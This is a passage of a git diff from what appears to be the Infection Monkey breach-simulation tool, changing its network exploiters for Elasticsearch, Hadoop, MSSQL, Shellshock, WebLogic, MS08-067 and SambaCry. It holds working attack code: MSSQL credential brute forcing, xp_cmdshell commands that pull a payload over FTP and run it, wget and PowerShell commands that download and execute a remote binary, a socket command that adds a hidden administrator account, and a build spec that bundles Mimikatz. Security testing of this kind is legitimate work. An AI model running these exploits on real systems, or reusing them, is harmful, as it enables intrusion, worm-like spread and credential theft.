infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE import re @@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE): exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() exploit_config['dropper'] = True exploit_config['url_extensions'] = ['_search?pretty'] - exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP} + exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP} return exploit_config def get_open_service_ports(self, port_list, names): @@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE): return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD] except (KeyError, IndexError): return None + + def check_if_exploitable(self, url): + # Overridden web_rce method that adds CMD prefix for windows command + try: + if 'windows' in self.host.os['type']: + resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND) + else: + resp = self.exploit(url, CHECK_COMMAND) + if resp is True: + return True + elif resp is not False and ID_STRING in resp: + return True + else: + return False + except Exception as e: + LOG.error("Host's exploitability check failed due to: %s" % e) + return False \ No newline at end of file diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0605614ee..1db521acd 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ import posixpath from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth -from infection_monkey.model import MONKEY_ARG, ID_STRING +from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' @@ -22,16 +22,6 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] HADOOP_PORTS = [["8088", False]] - - # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes - # to download monkey at the same time - LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ - " Update /download /priority high %(http_path)s %(monkey_path)s " \ - "& %(monkey_path)s %(monkey_type)s %(parameters)s" # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -46,6 +36,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We presume hadoop works only on 64-bit machines + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False @@ -79,9 +72,9 @@ class HadoopExploiter(WebRCE): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND + base_command = HADOOP_LINUX_COMMAND else: - base_command = self.WINDOWS_COMMAND + base_command = HADOOP_WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py new file mode 100644 index 000000000..128755de0 --- /dev/null +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -0,0 +1,127 @@ +import os +import platform +from os import path +import logging + +import pymssql + +from infection_monkey.exploit import HostExploiter, mssqlexec_utils + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['windows'] + LOGIN_TIMEOUT = 15 + SQL_DEFAULT_TCP_PORT = '1433' + DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat' + + def __init__(self, host): + super(MSSQLExploiter, self).__init__(host) + self.attacks_list = [mssqlexec_utils.CmdShellAttack] + + def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): + """ + This function creates dynamically the payload file to be transported and ran on the exploited machine. + :param payload_path: A path to the create the payload file in + :return: True if the payload file was created and false otherwise. + """ + try: + with open(payload_path, 'w+') as payload_file: + payload_file.write('dir C:\\') + return True + except Exception as e: + LOG.error("Payload file couldn't be created", exc_info=True) + return False + + def exploit_host(self): + """ + Main function of the mssql brute force + Return: + True or False depends on process success + """ + username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() + + if not self.create_payload_file(): + return False + if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list, + self.DEFAULT_PAYLOAD_PATH): + LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr)) + return True + else: + LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + return False + + def handle_payload(self, cursor, payload): + + """ + Handles the process of payload sending and execution, prepares the attack and details. + + Args: + cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands. + payload (string): Payload path + + Return: + True or False depends on process success + """ + + chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) + + if chosen_attack.send_payload(): + LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) + if chosen_attack.execute_payload(): + LOG.debug('Payload: {0} has been successfully executed on host'.format(payload)) + chosen_attack.cleanup_files() + return True + else: + LOG.error("Payload: {0} couldn't be executed".format(payload)) + else: + LOG.error("Payload: {0} couldn't be sent to host".format(payload)) + + chosen_attack.cleanup_files() + return False + + def brute_force_begin(self, host, port, users_passwords_pairs_list, payload): + """ + Starts the brute force connection attempts and if needed then init the payload process. + Main loop starts here. + + Args: + host (str): Host ip address + port (str): Tcp port that the host listens to + payload (str): Local path to the payload + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + + Return: + True or False depends if the whole bruteforce and attack process was completed successfully or not + """ + # Main loop + # Iterates on users list + for user, password in users_passwords_pairs_list: + try: + # Core steps + # Trying to connect + conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT) + LOG.info('Successfully connected to host: {0}, ' + 'using user: {1}, password: {2}'.format(host, user, password)) + self.report_login_attempt(True, user, password) + cursor = conn.cursor() + + # Handles the payload and return True or False + if self.handle_payload(cursor, payload): + LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host)) + return True + else: + LOG.warning("user: {0} and password: {1}, " + "was able to connect to host: {2} but couldn't handle payload: {3}" + .format(user, password, host, payload)) + except pymssql.OperationalError: + # Combo didn't work, hopping to the next one + pass + + LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' + 'aborting brute force'.format(host, port)) + return False diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py new file mode 100644 index 000000000..ab8b88e60 --- /dev/null +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -0,0 +1,214 @@ +import os +import multiprocessing +import logging + +import pymssql + +from infection_monkey.exploit.tools import get_interface_to_target +from pyftpdlib.authorizers import DummyAuthorizer +from pyftpdlib.handlers import FTPHandler +from pyftpdlib.servers import FTPServer + + +__author__ = 'Maor Rayzin' + + +FTP_SERVER_PORT = 1026 +FTP_SERVER_ADDRESS = '' +FTP_SERVER_USER = 'brute' +FTP_SERVER_PASSWORD = 'force' +FTP_WORKING_DIR = '.' + +LOG = logging.getLogger(__name__) + + +class FTP(object): + + """Configures and establish an FTP server with default details. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + + """ + + def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + """Look at class level docstring.""" + + self.user = user + self.password = password + self.working_dir = working_dir + + def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, + working_dir=FTP_WORKING_DIR): + + """ Configures and runs the ftp server to listen forever until stopped. + + Args: + user (str): User for FTP server auth + password (str): Password for FTP server auth + working_dir (str): The local working dir to init the ftp server on. + """ + + # Defining an authorizer and configuring the ftp user + authorizer = DummyAuthorizer() + authorizer.add_user(user, password, working_dir, perm='elradfmw') + + # Normal ftp handler + handler = FTPHandler + handler.authorizer = authorizer + + address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + + # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword + self.server = FTPServer(address, handler) + + # Starting ftp server, this server has no auto stop or stop clause, and also, its blocking on use, thats why I + # multiproccess is being used here. + self.server.serve_forever() + + def stop_server(self): + # Stops the FTP server and closing all connections. + self.server.close_all() + + +class AttackHost(object): + """ + This class acts as an interface for the attacking methods class + + Args: + payload_path (str): The local path of the payload file + """ + + def __init__(self, payload_path): + self.payload_path = payload_path + + def send_payload(self): + raise NotImplementedError("Send function not implemented") + + def execute_payload(self): + raise NotImplementedError("execute function not implemented") + + +class CmdShellAttack(AttackHost): + + """ + This class uses the xp_cmdshell command execution and will work only if its available on the remote host. + + Args: + payload_path (str): The local path of the payload file + cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + + """ + + def __init__(self, payload_path, cursor, dst_ip_address): + super(CmdShellAttack, self).__init__(payload_path) + self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.cursor = cursor + self.attacker_ip = get_interface_to_target(dst_ip_address) + + def send_payload(self): + """ + Sets up an FTP server and using it to download the payload to the remote host + + Return: + True if payload sent False if not. + """ + + # Sets up the cmds to run + shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ + echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) + shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) + + shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ + .format(self.payload_path) + shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ + shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4] + + # Checking to see if ftp server is up + if self.ftp_server_p and self.ftp_server: + + try: + # Running the cmd on remote host + for cmd in shellcmds: + self.cursor.execute(cmd) + except Exception as e: + LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) + self.ftp_server_p.terminate() + return False + return True + else: + LOG.error("Couldn't establish an FTP server for the dropout") + return False + + def execute_payload(self): + + """ + Executes the payload after ftp drop + + Return: + True if payload was executed successfully, False if not. + """ + + # Getting the payload's file name + payload_file_name = os.path.split(self.payload_path)[1] + + # Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error. + shellcmd = """DECLARE @i INT \ + EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \ + SELECT @i """.format(payload_file_name) + + try: + # Executing payload on remote host + LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name)) + self.cursor.execute(shellcmd) + if self.cursor.fetchall()[0][0] == 0: + # Success + self.ftp_server_p.terminate() + LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name)) + return True + else: + LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name)) + self.ftp_server_p.terminate() + return False + + except pymssql.OperationalError: + LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) + self.ftp_server_p.terminate() + return False + + def cleanup_files(self): + """ + Cleans up the folder with the attack related files (C:\\tmp by default) + :return: True or False if command executed or not. + """ + cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """ + try: + self.cursor.execute(cleanup_command) + LOG.info('Attack files cleanup command has been sent.') + return True + except Exception as e: + LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) + return False + + def __init_ftp_server(self): + """ + Init an FTP server using FTP class on a different process + + Return: + ftp_s: FTP server object + p: the process obj of the FTP object + """ + + try: + ftp_s = FTP() + multiprocessing.log_to_stderr(logging.DEBUG) + p = multiprocessing.Process(target=ftp_s.run_server) + p.start() + LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name)) + return ftp_s, p + except Exception as e: + LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True) + return None, None diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index b268371be..a98cbda50 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter): if is_https: attack_path = 'https://' attack_path = attack_path + str(host) + ":" + str(port) + reqs = [] + timeout = False attack_urls = [attack_path + url for url in url_list] - reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] + for u in attack_urls: + try: + reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) + except requests.Timeout: + timeout = True + break + if timeout: + LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 6bc5fee37..d797f3a95 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -54,7 +54,7 @@ class WebRCE(HostExploiter): exploit_config['upload_commands'] = None # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - exploit_config['url_extensions'] = None + exploit_config['url_extensions'] = [] # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. exploit_config['stop_checking_urls'] = False diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index ac78555af..7cd1045f9 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -13,13 +13,16 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading import logging +import time __author__ = "VakarisZ" LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 -# How long to wait for a request to go to vuln machine and then to our server from there. In seconds +# How long should be wait after each request in seconds +REQUEST_DELAY = 0.0001 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 2 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 @@ -66,18 +69,41 @@ class WebLogicExploiter(WebRCE): print(e) return True - def check_if_exploitable(self, url): + def add_vulnerable_urls(self, urls, stop_checking=False): + """ + Overrides parent method to use listener server + """ # Server might get response faster than it starts listening to it, we need a lock httpd, lock = self._start_http_server() - payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) + exploitable = False + + for url in urls: + if self.check_if_exploitable_weblogic(url, httpd): + exploitable = True + break + + if not exploitable and httpd.get_requests < 1: + # Wait for responses + time.sleep(REQUEST_TIMEOUT) + + if httpd.get_requests > 0: + # Add all urls because we don't know which one is vulnerable + self.vulnerable_urls.extend(urls) + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + else: + LOG.info("No vulnerable urls found, skipping.") + + self._stop_http_server(httpd, lock) + + def check_if_exploitable_weblogic(self, url, httpd): + payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: - # Our request does not get response thus we get ReadTimeout error + # Our request will not get response thus we get ReadTimeout error pass except Exception as e: LOG.error("Something went wrong: %s" % e) - self._stop_http_server(httpd, lock) return httpd.get_requests > 0 def _start_http_server(self): @@ -94,7 +120,8 @@ class WebLogicExploiter(WebRCE): lock.acquire() return httpd, lock - def _stop_http_server(self, httpd, lock): + @staticmethod + def _stop_http_server(httpd, lock): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() @@ -168,8 +195,8 @@ class WebLogicExploiter(WebRCE): we determine if we can exploit by either getting a GET request from host or not. """ def __init__(self, local_ip, local_port, lock, max_requests=1): - self._local_ip = local_ip - self._local_port = local_port + self.local_ip = local_ip + self.local_port = local_port self.get_requests = 0 self.max_requests = max_requests self._stopped = False @@ -184,7 +211,7 @@ class WebLogicExploiter(WebRCE): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 LOG.info('Server waiting for exploited machine request...') - httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() while not self._stopped and self.get_requests < self.max_requests: diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 9f8837157..41b3820d5 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % - (self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass, - self._config.ms08_067_remote_user_add)) + (self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add)) time.sleep(2) reply = sock.recv(1000) @@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter): remote_full_path = SmbTools.copy_file(self.host, src_path, self._config.dropper_target_path_win_32, - self._config.ms08_067_remote_user_add, - self._config.ms08_067_remote_user_pass) + self._config.user_to_add, + self._config.remote_user_pass) if not remote_full_path: # try other passwords for administrator @@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter): try: sock.send("start %s\r\n" % (cmdline,)) - sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) + sock.send("net user %s /delete\r\n" % (self._config.user_to_add,)) except Exception as exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc) return False diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index be45afce4..d12414eae 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey +import infection_monkey.post_breach # dummy import for pyinstaller __author__ = 'itamar' @@ -21,7 +22,7 @@ LOG = None LOG_CONFIG = {'version': 1, 'disable_existing_loggers': False, 'formatters': {'standard': { - 'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, + 'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'}, }, 'handlers': {'console': {'class': 'logging.StreamHandler', 'level': 'DEBUG', diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index f2217623a..e6c2e63a5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -24,8 +24,20 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING +# CMD prefix for windows commands +CMD_PREFIX = "cmd.exe /c" # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +# All in one commands (upload, change permissions, run) +HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" +HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + +DOWNLOAD_TIMEOUT = 300 diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 00bf08053..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -2,8 +2,9 @@ __author__ = 'itamar' class VictimHost(object): - def __init__(self, ip_addr): + def __init__(self, ip_addr, domain_name=''): self.ip_addr = ip_addr + self.domain_name = str(domain_name) self.os = {} self.services = {} self.monkey_exe = None diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec deleted file mode 100644 index 61a2725c4..000000000 --- a/monkey/infection_monkey/monkey-linux.spec +++ /dev/null @@ -1,32 +0,0 @@ -# -*- mode: python -*- - -block_cipher = None - - -a = Analysis(['main.py'], - pathex=['..'], - binaries=None, - datas=None, - hiddenimports=['_cffi_backend'], - hookspath=None, - runtime_hooks=None, - excludes=None, - win_no_prefer_redirects=None, - win_private_assemblies=None, - cipher=block_cipher) - -a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] - -pyz = PYZ(a.pure, a.zipped_data, - cipher=block_cipher) -exe = EXE(pyz, - a.scripts, - a.binaries, - a.zipfiles, - a.datas, - name='monkey', - debug=False, - strip=True, - upx=True, - console=True ) \ No newline at end of file diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index efdb43a3c..f2f9f4f42 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -109,6 +109,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + for action_class in WormConfiguration.post_breach_actions: + action = action_class() + action.act() + if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") @@ -120,9 +124,6 @@ class InfectionMonkey(object): ControlClient.keepalive() ControlClient.load_control_config() - LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) - LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) - self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes @@ -132,8 +133,7 @@ class InfectionMonkey(object): if not self._keep_running or not WormConfiguration.alive: break - machines = self._network.get_victim_machines(WormConfiguration.scanner_class, - max_find=WormConfiguration.victims_max_find, + machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: @@ -147,7 +147,7 @@ class InfectionMonkey(object): finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), - 'scanner': WormConfiguration.scanner_class.__name__}) + }) # skip machines that we've already exploited if machine in self._exploited_machines: diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index f539d61fa..ac6e9f03e 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,39 +2,120 @@ import os import platform + +__author__ = 'itay.mizeretz' + +block_cipher = None + # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +def main(): + a = Analysis(['main.py'], + pathex=['..'], + hiddenimports=get_hidden_imports(), + hookspath=None, + runtime_hooks=None, + binaries=None, + datas=None, + excludes=None, + win_no_prefer_redirects=None, + win_private_assemblies=None, + cipher=block_cipher + ) + + a.binaries += get_binaries() + a.datas = process_datas(a.datas) + + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name=get_monkey_filename(), + debug=False, + strip=get_exe_strip(), + upx=True, + console=True, + icon=get_exe_icon()) + + +def is_windows(): + return platform.system().find("Windows") >= 0 + + +def is_32_bit(): + return platform.architecture()[0] == "32bit" + + +def get_bin_folder(): + return os.path.join('.', 'bin') + + +def get_bin_file_path(filename): + return os.path.join(get_bin_folder(), filename) + + +def process_datas(orig_datas): + datas = orig_datas + if is_windows(): + datas = [i for i in datas if i[0].find('Include') < 0] + datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + return datas + + +def get_binaries(): + binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() + binaries += get_sc_binaries() + binaries += get_traceroute_binaries() + return binaries + + +def get_windows_only_binaries(): + binaries = [] + binaries += get_msvcr() + return binaries + + +def get_linux_only_binaries(): + binaries = [] + return binaries + + +def get_hidden_imports(): + return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] + + +def get_sc_binaries(): + return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] + + +def get_msvcr(): + return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] + + +def get_traceroute_binaries(): + traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64' + return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')] + + +def get_monkey_filename(): + return 'monkey.exe' if is_windows() else 'monkey' + + +def get_exe_strip(): + return not is_windows() + + +def get_exe_icon(): + return 'monkey.ico' if is_windows() else None + + def get_mimikatz_zip_path(): - if platform.architecture()[0] == "32bit": - return '.\\bin\\mk32.zip' - else: - return '.\\bin\\mk64.zip' + mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip' + return os.path.join(get_bin_folder(), mk_filename) -a = Analysis(['main.py'], - pathex=['..'], - hiddenimports=['_cffi_backend', 'queue'], - hookspath=None, - runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] - -if platform.system().find("Windows") >= 0: - a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] - -pyz = PYZ(a.pure) -exe = EXE(pyz, - a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], - a.zipfiles, - a.datas, - name='monkey.exe', - debug=False, - strip=None, - upx=True, - console=True, - icon='monkey.ico') +main() # We don't check if __main__ because this isn't the main script. diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 65684fbf2..91f529e9c 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -32,7 +32,7 @@ int samba_init_module(void) const char RUN_MONKEY_CMD[] = "./"; const char MONKEY_DEST_FOLDER[] = "/tmp"; const char MONKEY_DEST_NAME[] = "monkey"; - + int found = 0; char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; @@ -43,22 +43,22 @@ int samba_init_module(void) int monkeySize = 0; void* monkeyBinary = NULL; struct stat fileStats; - + pid = fork(); - + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; } - + // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); if (NULL == pFile) { return 0; } - + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); if (fileNamePointer != NULL) { @@ -66,44 +66,42 @@ int samba_init_module(void) break; } } - + fclose(pFile); - + // We can't find ourselves in module list if (0 == found) { return 0; } - + monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - + if (0 != chdir(monkeyDirectory)) { return 0; } - + // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); if (NULL == pFile) { return 0; } - + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); fclose(pFile); - + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (NULL == pFile) { return 0; } - + // Build commandline - strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); - strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1); - strncat(commandline, " ", 1); + snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h index 86db653c8..85300310f 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h @@ -4,4 +4,4 @@ extern int samba_init_module(void); extern int init_samba_module(void); -#endif // monkey_runner_h__ \ No newline at end of file +#endif // monkey_runner_h__ diff --git 